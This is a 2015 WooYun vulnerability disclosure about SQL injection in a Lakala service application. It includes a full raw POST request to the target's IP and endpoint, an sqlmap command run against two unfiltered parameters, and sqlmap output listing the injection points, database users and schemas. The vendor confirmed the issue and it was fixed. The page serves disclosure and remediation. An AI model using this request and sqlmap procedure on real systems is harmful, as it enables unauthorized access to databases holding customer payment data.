当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-095567

漏洞标题:拉卡拉某服务应用程序SQL注入

相关厂商:拉卡拉网络技术有限公司

漏洞作者: xcodest

提交时间:2015-02-04 11:48

修复时间:2015-03-21 11:50

公开时间:2015-03-21 11:50

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-02-04: 细节已通知厂商并且等待厂商处理中
2015-02-04: 厂商已经确认,细节仅向厂商公开
2015-02-14: 细节向核心白帽子及相关领域专家公开
2015-02-24: 细节向普通白帽子公开
2015-03-06: 细节向实习白帽子公开
2015-03-21: 细节向公众公开

简要描述:

前段时间发现的拉卡拉某服务应用程序SQL注入,不打算从这个漏洞进去,所以,这个点先提交了

详细说明:

lkl1.jpg

lkl2.jpg

漏洞证明:

保存以下为文件lakala

POST /queryIccId.action HTTP/1.1
Host: 180.166.18.166
Proxy-Connection: keep-alive
Content-Length: 126
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://180.166.18.166
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.91 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
DNT: 1
Referer: http://180.166.18.166/goIccIdPage.action
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4
Cookie: JSESSIONID=DC06E1B3A972825A693208E94C6BDA9E
cond.simMobileNo.mobileNo=14721965103&cond.simMobileNo.iccId=898600D2091299053897&cond.beginDeadLine=&cond.endDeadLine=&page=1


最新版sqlmap跑一跑呗
sqlmap.py -r lakala发现两个变量都没过滤

there were multiple injection points, please select the one to use for following injections:
[0] place: POST, parameter: cond.simMobileNo.mobileNo, type: Single quoted string (default)
[1] place: POST, parameter: cond.simMobileNo.iccId, type: Single quoted string


用户:

database management system users [14]:
[*] APEX_030200
[*] APEX_PUBLIC_USER
[*] FLOWS_FILES
[*] IGNITE
[*] MGMT_VIEW
[*] OWBSYS
[*] OWBSYS_AUDIT
[*] POSPADM
[*] RCAT
[*] READOD
[*] SCOTT
[*] SPATIAL_CSW_ADMIN_USR
[*] SPATIAL_WFS_ADMIN_USR
[*] SYSMAN


数据库

available databases [14]:
[*] APEX_030200
[*] CTXSYS
[*] EXFSYS
[*] FLOWS_FILES
[*] IGNITE
[*] MDSYS
[*] OLAPSYS
[*] OUTLN
[*] OWBSYS
[*] POSPADM
[*] RCAT
[*] SCOTT
[*] SYSMAN
[*] SYSTEM


修复方案:

不管这是测试环境还是生产环境,数据库基本的安全加固也应该按照贵公司的数据库安全加固手册(DBA操作,安全人员审查)做一遍。应用程序这写的跟你们的安全编码规范也对不上啊。
过滤,哦,两个变量cond.simMobileNo.mobileNo和cond.simMobileNo.iccId都得过滤
需要刷下rank,求高rank

版权声明:转载请注明来源 xcodest@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:1

确认时间:2015-02-04 13:01

厂商回复:

正在修复中

最新状态:

2015-02-09:漏洞已修复。